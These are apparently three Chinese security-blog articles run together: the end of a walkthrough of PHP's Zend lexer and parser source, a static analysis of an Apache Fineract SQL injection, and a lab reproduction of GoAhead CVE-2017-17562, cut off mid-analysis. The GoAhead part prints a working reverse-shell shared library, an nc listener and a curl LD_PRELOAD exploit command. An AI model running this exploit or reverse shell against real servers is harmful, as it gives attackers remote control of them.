if (open_file_for_scanning(file_handle)==FAILURE) {
if (!EG(exception)) {
if (type==ZEND_REQUIRE) {
zend_message_dispatcher(ZMSG_FAILED_REQUIRE_FOPEN, ZSTR_VAL(file_handle->filename));
} else {
zend_message_dispatcher(ZMSG_FAILED_INCLUDE_FOPEN, ZSTR_VAL(file_handle->filename));
}
}
} else {
op_array = zend_compile(ZEND_USER_FUNCTION);
}
zend_restore_lexical_state(&original_lex_state);
return op_array;
}
主要执行语句是zend_compile(ZEND_USER_FUNCTION);
static zend_op_array *zend_compile(int type)
{
zend_op_array *op_array = NULL;
bool original_in_compilation = CG(in_compilation);
CG(in_compilation) = 1;
CG(ast) = NULL;
CG(ast_arena) = zend_arena_create(1024 * 32);
if (!zendparse()) {
int last_lineno = CG(zend_lineno);
zend_file_context original_file_context;
zend_oparray_context original_oparray_context;
zend_op_array *original_active_op_array = CG(active_op_array);
op_array = emalloc(sizeof(zend_op_array));
init_op_array(op_array, type, INITIAL_OP_ARRAY_SIZE);
CG(active_op_array) = op_array;
/* Use heap to not waste arena memory */
op_array->fn_flags |= ZEND_ACC_HEAP_RT_CACHE;
if (zend_ast_process) {
zend_ast_process(CG(ast));
}
zend_file_context_begin(&original_file_context);
zend_oparray_context_begin(&original_oparray_context);
zend_compile_top_stmt(CG(ast));
CG(zend_lineno) = last_lineno;
zend_emit_final_return(type == ZEND_USER_FUNCTION);
op_array->line_start = 1;
op_array->line_end = last_lineno;
zend_init_static_variables_map_ptr(op_array);
pass_two(op_array);
zend_oparray_context_end(&original_oparray_context);
zend_file_context_end(&original_file_context);
CG(active_op_array) = original_active_op_array;
}
zend_ast_destroy(CG(ast));
zend_arena_destroy(CG(ast_arena));
CG(in_compilation) = original_in_compilation;
return op_array;
}
其中init_op_array(op_array, type, INITIAL_OP_ARRAY_SIZE);原型是
void init_op_array(zend_op_array *op_array, zend_uchar type, int initial_ops_size)
{
op_array->type = type;
op_array->arg_flags[0] = 0;
op_array->arg_flags[1] = 0;
op_array->arg_flags[2] = 0;
op_array->refcount = (uint32_t *) emalloc(sizeof(uint32_t));
*op_array->refcount = 1;
op_array->last = 0;
op_array->opcodes = emalloc(initial_ops_size * sizeof(zend_op));
op_array->last_var = 0;
op_array->vars = NULL;
op_array->T = 0;
op_array->function_name = NULL;
op_array->filename = zend_string_copy(zend_get_compiled_filename());
op_array->doc_comment = NULL;
op_array->attributes = NULL;
op_array->arg_info = NULL;
op_array->num_args = 0;
op_array->required_num_args = 0;
op_array->scope = NULL;
op_array->prototype = NULL;
op_array->live_range = NULL;
op_array->try_catch_array = NULL;
op_array->last_live_range = 0;
op_array->static_variables = NULL;
ZEND_MAP_PTR_INIT(op_array->static_variables_ptr, NULL);
op_array->last_try_catch = 0;
op_array->fn_flags = 0;
op_array->last_literal = 0;
op_array->literals = NULL;
op_array->num_dynamic_func_defs = 0;
op_array->dynamic_func_defs = NULL;
ZEND_MAP_PTR_INIT(op_array->run_time_cache, NULL);
op_array->cache_size = zend_op_array_extension_handles * sizeof(void*);
memset(op_array->reserved, 0, ZEND_MAX_RESERVED_RESOURCES * sizeof(void*));
if (zend_extension_flags & ZEND_EXTENSIONS_HAVE_OP_ARRAY_CTOR) {
zend_llist_apply_with_argument(&zend_extensions, (llist_apply_with_arg_func_t) zend_extension_op_array_ctor_handler, op_array);
}
}
也就是初始化所有的标签，然后执行memset
zend_file_context_begin
void zend_file_context_begin(zend_file_context *prev_context) /* {{{ */
{
*prev_context = CG(file_context);
FC(imports) = NULL;
FC(imports_function) = NULL;
FC(imports_const) = NULL;
FC(current_namespace) = NULL;
FC(in_namespace) = 0;
FC(has_bracketed_namespaces) = 0;
FC(declarables).ticks = 0;
zend_hash_init(&FC(seen_symbols), 8, NULL, NULL, 0);
}
zend_oparray_context_begin
void zend_oparray_context_begin(zend_oparray_context *prev_context) /* {{{ */
{
*prev_context = CG(context);
CG(context).opcodes_size = INITIAL_OP_ARRAY_SIZE;
CG(context).vars_size = 0;
CG(context).literals_size = 0;
CG(context).fast_call_var = -1;
CG(context).try_catch_offset = -1;
CG(context).current_brk_cont = -1;
CG(context).last_brk_cont = 0;
CG(context).brk_cont_array = NULL;
CG(context).labels = NULL;
}
/* }}} */
#### 抽象化
抽象化部分在zend_ini_scanner，zned_language_scanner，zend_operators等文件中
如zend_operators的_is_numeric_string_ex对数字类型进行分析
ZEND_API zend_uchar ZEND_FASTCALL _is_numeric_string_ex(const char *str, size_t length, zend_long *lval,
double *dval, bool allow_errors, int *oflow_info, bool *trailing_data) /* {{{ */
{
const char *ptr;
int digits = 0, dp_or_e = 0;
double local_dval = 0.0;
zend_uchar type;
zend_ulong tmp_lval = 0;
int neg = 0;
if (!length) {
return 0;
}
if (oflow_info != NULL) {
*oflow_info = 0;
}
if (trailing_data != NULL) {
*trailing_data = false;
}
/* Skip any whitespace
* This is much faster than the isspace() function */
while (*str == ' ' || *str == '\t' || *str == '\n' || *str == '\r' || *str == '\v' || *str == '\f') {
str++;
length--;
}
ptr = str;
if (*ptr == '-') {
neg = 1;
ptr++;
} else if (*ptr == '+') {
ptr++;
}
if (ZEND_IS_DIGIT(*ptr)) {
/* Skip any leading 0s */
while (*ptr == '0') {
ptr++;
}
/* Count the number of digits. If a decimal point/exponent is found,
* it's a double. Otherwise, if there's a dval or no need to check for
* a full match, stop when there are too many digits for a long */
for (type = IS_LONG; !(digits >= MAX_LENGTH_OF_LONG && (dval || allow_errors)); digits++, ptr++) {
check_digits:
if (ZEND_IS_DIGIT(*ptr)) {
tmp_lval = tmp_lval * 10 + (*ptr) - '0';
continue;
} else if (*ptr == '.' && dp_or_e < 1) {
goto process_double;
} else if ((*ptr == 'e' || *ptr == 'E') && dp_or_e < 2) {
const char *e = ptr + 1;
if (*e == '-' || *e == '+') {
ptr = e++;
}
if (ZEND_IS_DIGIT(*e)) {
goto process_double;
}
}
break;
}
if (digits >= MAX_LENGTH_OF_LONG) {
if (oflow_info != NULL) {
*oflow_info = *str == '-' ? -1 : 1;
}
dp_or_e = -1;
goto process_double;
}
} else if (*ptr == '.' && ZEND_IS_DIGIT(ptr[1])) {
process_double:
type = IS_DOUBLE;
/* If there's a dval, do the conversion; else continue checking
* the digits if we need to check for a full match */
if (dval) {
local_dval = zend_strtod(str, &ptr);
} else if (!allow_errors && dp_or_e != -1) {
dp_or_e = (*ptr++ == '.') ? 1 : 2;
goto check_digits;
}
} else {
return 0;
}
if (ptr != str + length) {
const char *endptr = ptr;
while (*endptr == ' ' || *endptr == '\t' || *endptr == '\n' || *endptr == '\r' || *endptr == '\v' || *endptr == '\f') {
endptr++;
length--;
}
if (ptr != str + length) {
if (!allow_errors) {
return 0;
}
if (trailing_data != NULL) {
*trailing_data = true;
}
}
}
if (type == IS_LONG) {
if (digits == MAX_LENGTH_OF_LONG - 1) {
int cmp = strcmp(&ptr[-digits], long_min_digits);
if (!(cmp < 0 || (cmp == 0 && *str == '-'))) {
if (dval) {
*dval = zend_strtod(str, NULL);
}
if (oflow_info != NULL) {
*oflow_info = *str == '-' ? -1 : 1;
}
return IS_DOUBLE;
}
}
if (lval) {
if (neg) {
tmp_lval = -tmp_lval;
}
*lval = (zend_long) tmp_lval;
}
return IS_LONG;
} else {
if (dval) {
*dval = local_dval;
}
return IS_DOUBLE;
}
}
首先对空格之类跳过，（原文件行数，下同）3177-3182是对+-运算符的提取和标记。3184-3212是获取数字，while跳过开头的0，对于数字使用long的范围去匹配避免麻烦。出现.则跳转到double处理。
zend_compile中的reserved_class_name是对类名进行分析，选取特定长度进行比对获取相对应的类名
static const struct reserved_class_name reserved_class_names[] = {
{ZEND_STRL("bool")},
{ZEND_STRL("false")},
{ZEND_STRL("float")},
{ZEND_STRL("int")},
{ZEND_STRL("null")},
{ZEND_STRL("parent")},
{ZEND_STRL("self")},
{ZEND_STRL("static")},
{ZEND_STRL("string")},
{ZEND_STRL("true")},
{ZEND_STRL("void")},
{ZEND_STRL("never")},
{ZEND_STRL("iterable")},
{ZEND_STRL("object")},
{ZEND_STRL("mixed")},
{NULL, 0}
};
static bool zend_is_reserved_class_name(const zend_string *name) /* {{{ */
{
const struct reserved_class_name *reserved = reserved_class_names;
const char *uqname = ZSTR_VAL(name);
size_t uqname_len = ZSTR_LEN(name);
zend_get_unqualified_name(name, &uqname, &uqname_len);
for (; reserved->name; ++reserved) {
if (uqname_len == reserved->len
&& zend_binary_strcasecmp(uqname, uqname_len, reserved->name, reserved->len) == 0
) {
return 1;
}
}
return 0;
}
zend_scan_escape_string首先判断这一行代码长度，如果当前行是空行则zend_lineno加一。一直到这一行的末尾，执行skip_escape_conversion。过程中如果遇到特殊字符$则退出，如果是标志x，u等数据类型的符号，则改变堆栈存储方式，如果是空格之类的符号就跳过。
分析完当前行后，需要分析下一有意义的行。这就是next_newline的作用。检测到回车如果存在下一行且下一行为换行，那么跳过两行，否则跳过一行。
static zend_result zend_scan_escape_string(zval *zendlval, char *str, int len, char quote_type)
{
char *s, *t;
char *end;
if (len <= 1) {
if (len < 1) {
ZVAL_EMPTY_STRING(zendlval);
} else {
zend_uchar c = (zend_uchar)*str;
if (c == '\n' || c == '\r') {
CG(zend_lineno)++;
}
ZVAL_INTERNED_STR(zendlval, ZSTR_CHAR(c));
}
goto skip_escape_conversion;
}
ZVAL_STRINGL(zendlval, str, len);
/* convert escape sequences */
s = Z_STRVAL_P(zendlval);
end = s+Z_STRLEN_P(zendlval);
while (1) {
if (UNEXPECTED(*s=='\\')) {
break;
}
if (*s == '\n' || (*s == '\r' && (*(s+1) != '\n'))) {
CG(zend_lineno)++;
}
s++;
if (s == end) {
goto skip_escape_conversion;
}
}
t = s;
while (s<end) {
if (*s=='\\') {
s++;
if (s >= end) {
*t++ = '\\';
break;
}
switch(*s) {
case 'n':
*t++ = '\n';
break;
case 'r':
*t++ = '\r';
break;
case 't':
*t++ = '\t';
break;
case 'f':
*t++ = '\f';
break;
case 'v':
*t++ = '\v';
break;
case 'e':
#ifdef ZEND_WIN32
*t++ = VK_ESCAPE;
#else
*t++ = '\e';
#endif
break;
case '"':
case '`':
if (*s != quote_type) {
*t++ = '\\';
*t++ = *s;
break;
}
ZEND_FALLTHROUGH;
case '\\':
case '$':
*t++ = *s;
break;
case 'x':
case 'X':
if (ZEND_IS_HEX(*(s+1))) {
char hex_buf[3] = { 0, 0, 0 };
hex_buf[0] = *(++s);
if (ZEND_IS_HEX(*(s+1))) {
hex_buf[1] = *(++s);
}
*t++ = (char) ZEND_STRTOL(hex_buf, NULL, 16);
} else {
*t++ = '\\';
*t++ = *s;
}
break;
/* UTF-8 codepoint escape, format: /\\u\{\x+\}/ */
case 'u':
{
/* cache where we started so we can parse after validating */
char *start = s + 1;
size_t len = 0;
bool valid = 1;
unsigned long codepoint;
if (*start != '{') {
/* we silently let this pass to avoid breaking code
* with JSON in string literals (e.g. "\"\u202e\""
*/
*t++ = '\\';
*t++ = 'u';
break;
} else {
/* on the other hand, invalid \u{blah} errors */
s++;
len++;
s++;
while (*s != '}') {
if (!ZEND_IS_HEX(*s)) {
valid = 0;
break;
} else {
len++;
}
s++;
}
if (*s == '}') {
valid = 1;
len++;
}
}
/* \u{} is invalid */
if (len <= 2) {
valid = 0;
}
if (!valid) {
zend_throw_exception(zend_ce_parse_error,
"Invalid UTF-8 codepoint escape sequence", 0);
zval_ptr_dtor(zendlval);
ZVAL_UNDEF(zendlval);
return FAILURE;
}
errno = 0;
codepoint = strtoul(start + 1, NULL, 16);
/* per RFC 3629, UTF-8 can only represent 21 bits */
if (codepoint > 0x10FFFF || errno) {
zend_throw_exception(zend_ce_parse_error,
"Invalid UTF-8 codepoint escape sequence: Codepoint too large", 0);
zval_ptr_dtor(zendlval);
ZVAL_UNDEF(zendlval);
return FAILURE;
}
/* based on https://en.wikipedia.org/wiki/UTF-8#Sample_code */
if (codepoint < 0x80) {
*t++ = codepoint;
} else if (codepoint <= 0x7FF) {
*t++ = (codepoint >> 6) + 0xC0;
*t++ = (codepoint & 0x3F) + 0x80;
} else if (codepoint <= 0xFFFF) {
*t++ = (codepoint >> 12) + 0xE0;
*t++ = ((codepoint >> 6) & 0x3F) + 0x80;
*t++ = (codepoint & 0x3F) + 0x80;
} else if (codepoint <= 0x10FFFF) {
*t++ = (codepoint >> 18) + 0xF0;
*t++ = ((codepoint >> 12) & 0x3F) + 0x80;
*t++ = ((codepoint >> 6) & 0x3F) + 0x80;
*t++ = (codepoint & 0x3F) + 0x80;
}
}
break;
default:
/* check for an octal */
if (ZEND_IS_OCT(*s)) {
char octal_buf[4] = { 0, 0, 0, 0 };
octal_buf[0] = *s;
if (ZEND_IS_OCT(*(s+1))) {
octal_buf[1] = *(++s);
if (ZEND_IS_OCT(*(s+1))) {
octal_buf[2] = *(++s);
}
}
if (octal_buf[2] && (octal_buf[0] > '3') && !SCNG(heredoc_scan_ahead)) {
/* 3 octit values must not overflow 0xFF (\377) */
zend_error(E_COMPILE_WARNING, "Octal escape sequence overflow \\%s is greater than \\377", octal_buf);
}
*t++ = (char) ZEND_STRTOL(octal_buf, NULL, 8);
} else {
*t++ = '\\';
*t++ = *s;
}
break;
}
} else {
*t++ = *s;
}
if (*s == '\n' || (*s == '\r' && (*(s+1) != '\n'))) {
CG(zend_lineno)++;
}
s++;
}
*t = 0;
Z_STRLEN_P(zendlval) = t - Z_STRVAL_P(zendlval);
skip_escape_conversion:
if (SCNG(output_filter)) {
size_t sz = 0;
unsigned char *str;
// TODO: avoid realocation ???
s = Z_STRVAL_P(zendlval);
SCNG(output_filter)(&str, &sz, (unsigned char *)s, (size_t)Z_STRLEN_P(zendlval));
zval_ptr_dtor(zendlval);
ZVAL_STRINGL(zendlval, (char *) str, sz);
efree(str);
}
return SUCCESS;
}
lex_scan首先对LNUM之类的数据使用正则定义其结构。再分别对exit之类的关键词定义其分析方法。
由于这一段的代码过于长，所以仅作出部分粘贴。
lex_scan是根据re2c得到语法分析
其定义了
LNUM [0-9]+(_[0-9]+)*
DNUM ({LNUM}?"."{LNUM})|({LNUM}"."{LNUM}?)
EXPONENT_DNUM (({LNUM}|{DNUM})[eE][+-]?{LNUM})
HNUM "0x"[0-9a-fA-F]+(_[0-9a-fA-F]+)*
BNUM "0b"[01]+(_[01]+)*
ONUM "0o"[0-7]+(_[0-7]+)*
LABEL [a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*
WHITESPACE [ \n\r\t]+
TABS_AND_SPACES [ \t]*
TOKENS [;:,.|^&+-/*=%!~$<>?@]
ANY_CHAR [^]
NEWLINE ("\r"|"\n"|"\r\n")
作为基础结构单元的正则表达式。
<ST_IN_SCRIPTING>"exit" {
RETURN_TOKEN_WITH_IDENT(T_EXIT);
}
<ST_IN_SCRIPTING>"die" {
RETURN_TOKEN_WITH_IDENT(T_EXIT);
}
<ST_IN_SCRIPTING>"fn" {
RETURN_TOKEN_WITH_IDENT(T_FN);
}
<ST_IN_SCRIPTING>"function" {
RETURN_TOKEN_WITH_IDENT(T_FUNCTION);
}
<ST_IN_SCRIPTING>"const" {
RETURN_TOKEN_WITH_IDENT(T_CONST);
}
<ST_IN_SCRIPTING>"return" {
RETURN_TOKEN_WITH_IDENT(T_RETURN);
}
<ST_IN_SCRIPTING>"#[" {
enter_nesting('[');
RETURN_TOKEN(T_ATTRIBUTE);
}
<ST_IN_SCRIPTING>"yield"{WHITESPACE}"from"[^a-zA-Z0-9_\x80-\xff] {
yyless(yyleng - 1);
HANDLE_NEWLINES(yytext, yyleng);
RETURN_TOKEN_WITH_IDENT(T_YIELD_FROM);
}
对exit，die，fn做出分别定义，执行RETURN_TOKEN_WITH_IDENT
#define RETURN_TOKEN_WITH_IDENT(_token) do { \
token = _token; \
goto emit_token_with_ident; \
} while (0)
emit_token_with_ident
emit_token_with_ident:
if (PARSER_MODE()) {
elem->ident = SCNG(yy_text);
}
if (SCNG(on_event)) {
SCNG(on_event)(ON_TOKEN, token, start_line, yytext, yyleng, SCNG(on_event_context));
}
return token;
这一部分就是将代码抽象化后存储。
上面这一部分是对基本代码结构即一个表达式的组成元素，变量及其类型，命令式函数及其组成部分和类型进行分析。
下面我们对特殊语法结构进行分析
zend对特殊结构使用BNF进行分析，代码在zend_ini_parser中。
首先是对基本组成单元进行划分
%expect 0
%define api.prefix {ini_}
%define api.pure full
%define api.value.type {zval}
%define parse.error verbose
%token END 0 "end of file"
%token TC_SECTION
%token TC_RAW
%token TC_CONSTANT
%token TC_NUMBER
%token TC_STRING
%token TC_WHITESPACE
%token TC_LABEL
%token TC_OFFSET
%token TC_DOLLAR_CURLY
%token TC_VARNAME
%token TC_QUOTED_STRING
%token BOOL_TRUE
%token BOOL_FALSE
%token NULL_NULL
%token END_OF_LINE
%token '=' ':' ',' '.' '"' '\'' '^' '+' '-' '/' '*' '%' '$' '~' '<' '>' '?' '@' '{' '}'
%left '|' '&' '^'
%precedence '~' '!'
%destructor { zval_ini_dtor(&$$); } TC_RAW TC_CONSTANT TC_NUMBER TC_STRING TC_WHITESPACE TC_LABEL TC_OFFSET TC_VARNAME BOOL_TRUE BOOL_FALSE NULL_NULL cfg_var_ref constant_literal constant_string encapsed_list expr option_offset section_string_or_value string_or_value var_string_list var_string_list_section
%%
随后对语句进行抽象描述并一步一步划分成更小的单元。
statement_list:
statement_list statement
| %empty
;
statement:
TC_SECTION section_string_or_value ']' {
#if DEBUG_CFG_PARSER
printf("SECTION: [%s]\n", Z_STRVAL($2));
#endif
ZEND_INI_PARSER_CB(&$2, NULL, NULL, ZEND_INI_PARSER_SECTION, ZEND_INI_PARSER_ARG);
zend_string_release(Z_STR($2));
}
| TC_LABEL '=' string_or_value {
#if DEBUG_CFG_PARSER
printf("NORMAL: '%s' = '%s'\n", Z_STRVAL($1), Z_STRVAL($3));
#endif
ZEND_INI_PARSER_CB(&$1, &$3, NULL, ZEND_INI_PARSER_ENTRY, ZEND_INI_PARSER_ARG);
zend_string_release(Z_STR($1));
zval_ini_dtor(&$3);
}
| TC_OFFSET option_offset ']' '=' string_or_value {
#if DEBUG_CFG_PARSER
printf("OFFSET: '%s'[%s] = '%s'\n", Z_STRVAL($1), Z_STRVAL($2), Z_STRVAL($5));
#endif
ZEND_INI_PARSER_CB(&$1, &$5, &$2, ZEND_INI_PARSER_POP_ENTRY, ZEND_INI_PARSER_ARG);
zend_string_release(Z_STR($1));
zval_ini_dtor(&$2);
zval_ini_dtor(&$5);
}
| TC_LABEL { ZEND_INI_PARSER_CB(&$1, NULL, NULL, ZEND_INI_PARSER_ENTRY, ZEND_INI_PARSER_ARG); zend_string_release(Z_STR($1)); }
| END_OF_LINE
;
我们以switchcase为例
在zend_language_parser中，定义了switchcase的结构，如下图
switch_case_list:
669: '{' case_list '}' { $$ = $2; }
670: | '{' ';' case_list '}' { $$ = $3; }
671: | ':' case_list T_ENDSWITCH ';' { $$ = $2; }
672: | ':' ';' case_list T_ENDSWITCH ';' { $$ = $3; }
673 ;
switchcase可能存在单个case或者多个case。1是对单case的正则。2是对多个的正则。3是单case的结束判断，4是多case的结束判断。
其中T_ENDSWITCH在zend_language_parser定义，是关键词endswitch
case_list定义如下
case_list:
676: %empty { $$ = zend_ast_create_list(0, ZEND_AST_SWITCH_LIST); }
677 | case_list T_CASE expr case_separator inner_statement_list
678: { $$ = zend_ast_list_add($1, zend_ast_create(ZEND_AST_SWITCH_CASE, $3, $5)); }
679 | case_list T_DEFAULT case_separator inner_statement_list
680: { $$ = zend_ast_list_add($1, zend_ast_create(ZEND_AST_SWITCH_CASE, NULL, $4)); }
681 ;
根据结构empty case_list T_CASE expr case_separator inner_statement_list case_list
T_DEFAULT case_separator inner_statement_list分别进行存储。
其中expr case_separator
inner_statement_list分别在后面有定义，其中case_separator是对：；进行匹配。其他也是类似。分析就到此结束，lexical
scanner的抽象化方式是使用了re2c的正则匹配
## 最后
水平有限，欢迎指教
_作者：DR[@03](https://github.com/03 "@03")@星盟_ | 社区文章 |
### 漏洞简介
In Apache Fineract 0.4.0-incubating, 0.5.0-incubating, and 0.6.0-incubating,
an authenticated user with client/loan/center/staff/group read permissions is
able to inject malicious SQL into SELECT queries. The 'sqlSearch' parameter on
a number of endpoints is not sanitized and appended directly to the query
### Apache Fineract
Fineract
为创业者、金融机构和服务提供商提供了一个可靠、健壮的、可负担得起的金融服务解决方案。可在任何环境中部署，无论是云端还是内部，也可在移动设备或 PC
上进行在线或离线操作。Fineract
可扩展到足以支持任何组织类型或交付渠道，并且足够灵活以支持任何产品，服务或方法。对于大型或小型企业而言，提供客户数据管理、贷款和储蓄组合管理，集成实时会计和财务报告。
### 漏洞分析
从漏洞简介中可以得到很多信息了，比如注入参数是 'sqlSearch' ，含有注入的模块有 client、loan、center、staff、group
，只需要用户拥有各个模块的读权限，就可以造成 sql 注入
从github拿到的 fineract-0.4.0-incubating 版本，不知道怎么回事，数据库相关的一直出错，导致没法让组件跑起来，就只能静态分析了
先不管各种模块，我们去全局搜一下 'sqlSearch'
信息很杂乱，那么首先去看一下这个参数和啥有关系
随便找一个作为函数参数传入的地方
跟进 forAccountTransfer 函数发现，只是将 sqlSearch 作为参数新建了一个 SearchParameters 对象
那么仔细看一下这个 SearchParameters 类的结构
（emmm，太长截不完）
可以从上图看出，这个类将很多 sql 关键字都存储起来，并且也能通过相应的接口访问到已经存储的信息
回到刚才 sqlSearch 作为参数传入的函数里（随便一个都行），会发现这个 sql 关键词存储类会被带入类似如下图的函数里
如上图， retrieveAll 函数就带入了 searchParameters
跟进去
（函数体过长，只截关键部分）
如上图，可见从 searchParameters 中，并没有将之前的 sqlSearch 的值提取出来，但是我们注意到 searchParameters
被带入了 buildSqlStringFromClientCriteria 函数里，返回的 extraCriteria 又被拼接进了 sql
语句中，那我们跟进去看看这个函数
这里已经提取出 sqlSearch ，并且将其拼接进 extraCriteria 中
那么至此，由于没有任何过滤，导致了 sql 注入
既然碰到了 web 形式的组件，而且还是最常见的 sql 注入，那么我们继续跟进一下它的补救方式
下好 fineract-1.1.0 的源码包，跟入相同的参数传入点
这里是没变的，继续跟到 buildSqlStringFromClientCriteria 函数
如上图，似乎多了两个参数
跟进去
一般在挖洞的时候，碰见类似上图中红框中的函数名，心里都会咯噔一下，无奈只能去看看能不能绕过之类的了
跟进去
很明显的 sql 注入处理，跟进去
不用细看函数体，只用看看下图，这个 SQLInjectinValidator 类中的变量就行了
虽说可能被绕过，但是危害降低了很多
我这儿也没有去琢磨到底怎么绕过了 : ) | 社区文章 |
## 漏洞描述
[GoAhead Web
Server](https://github.com/embedthis/goahead)是为嵌入式实时操作系统定制的开源Web服务器。IBM、HP、Oracle、波音、D-link、摩托罗拉等厂商都曾在其产品中使用过GoAhead。
CVE-2017-17562是一个远程命令执行漏洞，受影响的GoAhead版本为`2.5.0`到`3.6.4`之间。受影响的版本若启用了CGI并动态链接了CGI程序的话，则可导致远程代码执行。漏洞的原因在于cgi.c的cgiHandler函数使用了不可信任的HTTP请求参数初始化CGI脚本的环境，可使用环境变量（LD_PRELOAD），利用glibc动态链接器加载任意程序实现远程代码执行。
## 漏洞复现
下载、编译并运行存在该漏洞的GoAhead（3.6.4）：
git clone https://github.com/embedthis/goahead.git
cd goahead
git checkout tags/v3.6.4
make #编译GoAhead
cd test # 要进到test目录下运行，其它目录下没有self.key等文件会报错
gcc ./cgitest.c -o cgi-bin/cgitest #编译用来测试的CGI文件
sudo ../build/linux-x64-default/bin/goahead #运行GoAhead Web服务器
可以访问web服务器，运行起来后可访问80端口。
测试cgi页面能否访问：
$ curl http://172.16.217.185:80/cgi-bin/cgitest
<HTML><TITLE>cgitest: Output</TITLE><BODY>
<H2>Args</H2>
<P>ARG[0]=*****************</P>
<H2>Environment Variables</H2>
<P>AUTH_TYPE=</P>
<P>CONTENT_LENGTH=-1</P>
<P>CONTENT_TYPE=</P>
<P>DOCUMENT_ROOT=</P>
<P>GATEWAY_INTERFACE=CGI/1.1</P>
<P>HTTP_ACCEPT=*/*</P>
<P>HTTP_CONNECTION=</P>
<P>HTTP_HOST=172.16.217.185</P>
<P>HTTP_USER_AGENT=curl/7.58.0</P>
<P>PATH_INFO=</P>
<P>PATH_TRANSLATED=</P>
<P>QUERY_STRING=</P>
<P>REMOTE_ADDR=172.16.217.185</P>
<P>REQUEST_METHOD=GET</P>
<P>REQUEST_URI=/cgi-bin/cgitest</P>
<P>REMOTE_USER=</P>
<P>SCRIPT_NAME=/cgi-bin/cgitest</P>
<P>SCRIPT_FILENAME=****************</P>
<P>SERVER_ADDR=172.16.217.185</P>
<P>SERVER_NAME=127.0.1.1</P>
<P>SERVER_PORT=80</P>
<P>SERVER_PROTOCOL=HTTP/1.1</P>
<P>SERVER_SOFTWARE=GoAhead/3.6.4</P>
接着编译用于动态加载的so。
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="172.16.217.185";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/sh", 0, 0);
}
编译命令：
gcc -shared -fPIC ./exp.c -o exp.so
然后在控制端监听7777端口：
nc -lvnp 7777
执行poc：
curl -X POST --data-binary @exp.so http://172.16.217.185:80/cgi-bin/cgitest\?LD_PRELOAD\=/proc/self/fd/0
可以看到成功拿到shell。
漏洞复现成功。
## 漏洞分析
根据漏洞描述，知道漏洞点存在于`cgiHandler`中，先去看`cgiHandler`函数。
漏洞的原因在于cgi.c的cgiHandler函数使用了不可信任的HTTP请求参数初始化CGI脚本的环境
因为程序是支持`windows`、`linux`以及`vxWorks`的，所以很多函数或代码或有三份实现，我分析的都是基于`linux`的，即宏定义为`#if
ME_UNIX_LIKE || QNX`的相关代码。
动态调试发送`post`过去的数据为：
curl -X POST --data-binary @exp.so http://172.16.217.185:80/cgi-bin/cgitest\?LD_PRELOAD\=/proc/self/fd/0
开始分析之前贴出`Webs`结构体的定义，该结构体中包含了web请求的相关数据结构，定义在`goahead.h`中，且每个字段都有相应的解释：
/**
GoAhead request structure. This is a per-socket connection structure.
@defgroup Webs Webs
*/
typedef struct Wqbs {
WebsBuf rxbuf; /**< Raw receive buffer */
WebsBuf input; /**< Receive buffer after de-chunking */
WebsBuf output; /**< Transmit buffer after chunking */
WebsBuf chunkbuf; /**< Pre-chunking data buffer */
WebsBuf *txbuf;
WebsTime since; /**< Parsed if-modified-since time */
WebsTime timestamp; /**< Last transaction with browser */
WebsHash vars; /**< CGI standard variables */
int timeout; /**< Timeout handle */
char ipaddr[ME_MAX_IP]; /**< Connecting ipaddress */
char ifaddr[ME_MAX_IP]; /**< Local interface ipaddress */
int rxChunkState; /**< Rx chunk encoding state */
ssize rxChunkSize; /**< Rx chunk size */
char *rxEndp; /**< Pointer to end of raw data in input beyond endp */
ssize lastRead; /**< Number of bytes last read from the socket */
bool eof; /**< If at the end of the request content */
char txChunkPrefix[16]; /**< Transmit chunk prefix */
char *txChunkPrefixNext; /**< Current I/O pos in txChunkPrefix */
ssize txChunkPrefixLen; /**< Length of prefix */
ssize txChunkLen; /**< Length of the chunk */
int txChunkState; /**< Transmit chunk state */
char *authDetails; /**< Http header auth details */
char *authResponse; /**< Outgoing auth header */
char *authType; /**< Authorization type (Basic/DAA) */
char *contentType; /**< Body content type */
char *cookie; /**< Request cookie string */
char *decodedQuery; /**< Decoded request query */
char *digest; /**< Password digest */
char *ext; /**< Path extension */
char *filename; /**< Document path name */
char *host; /**< Requested host */
char *method; /**< HTTP request method */
char *password; /**< Authorization password */
char *path; /**< Path name without query. This is decoded. */
char *protoVersion; /**< Protocol version (HTTP/1.1)*/
char *protocol; /**< Protocol scheme (normally http|https) */
char *putname; /**< PUT temporary filename */
char *query; /**< Request query. This is decoded. */
char *realm; /**< Realm field supplied in auth header */
char *referrer; /**< The referring page */
char *responseCookie; /**< Outgoing cookie */
char *url; /**< Full request url. This is not decoded. */
char *userAgent; /**< User agent (browser) */
char *username; /**< Authorization username */
int sid; /**< Socket id (handler) */
int listenSid; /**< Listen Socket id */
int port; /**< Request port number */
int state; /**< Current state */
int flags; /**< Current flags -- see above */
int code; /**< Response status code */
int routeCount; /**< Route count limiter */
ssize rxLen; /**< Rx content length */
ssize rxRemaining; /**< Remaining content to read from client */
ssize txLen; /**< Tx content length header value */
int wid; /**< Index into webs */
#if ME_GOAHEAD_CGI
char *cgiStdin; /**< Filename for CGI program input */
int cgifd; /**< File handle for CGI program input */
#endif
#if !ME_ROM
int putfd; /**< File handle to write PUT data */
#endif
int docfd; /**< File descriptor for document being served */
ssize written; /**< Bytes actually transferred */
ssize putLen; /**< Bytes read by a PUT request */
int finalized: 1; /**< Request has been completed */
int error: 1; /**< Request has an error */
int connError: 1; /**< Request has a connection error */
struct WebsSession *session; /**< Session record */
struct WebsRoute *route; /**< Request route */
struct WebsUser *user; /**< User auth record */
WebsWriteProc writeData; /**< Handler write I/O event callback. Used by fileHandler */
int encoded; /**< True if the password is MD5(username:realm:password) */
#if ME_GOAHEAD_DIGEST
char *cnonce; /**< check nonce */
char *digestUri; /**< URI found in digest header */
char *nonce; /**< opaque-to-client string sent by server */
char *nc; /**< nonce count */
char *opaque; /**< opaque value passed from server */
char *qop; /**< quality operator */
#endif
#if ME_GOAHEAD_UPLOAD
int upfd; /**< Upload file handle */
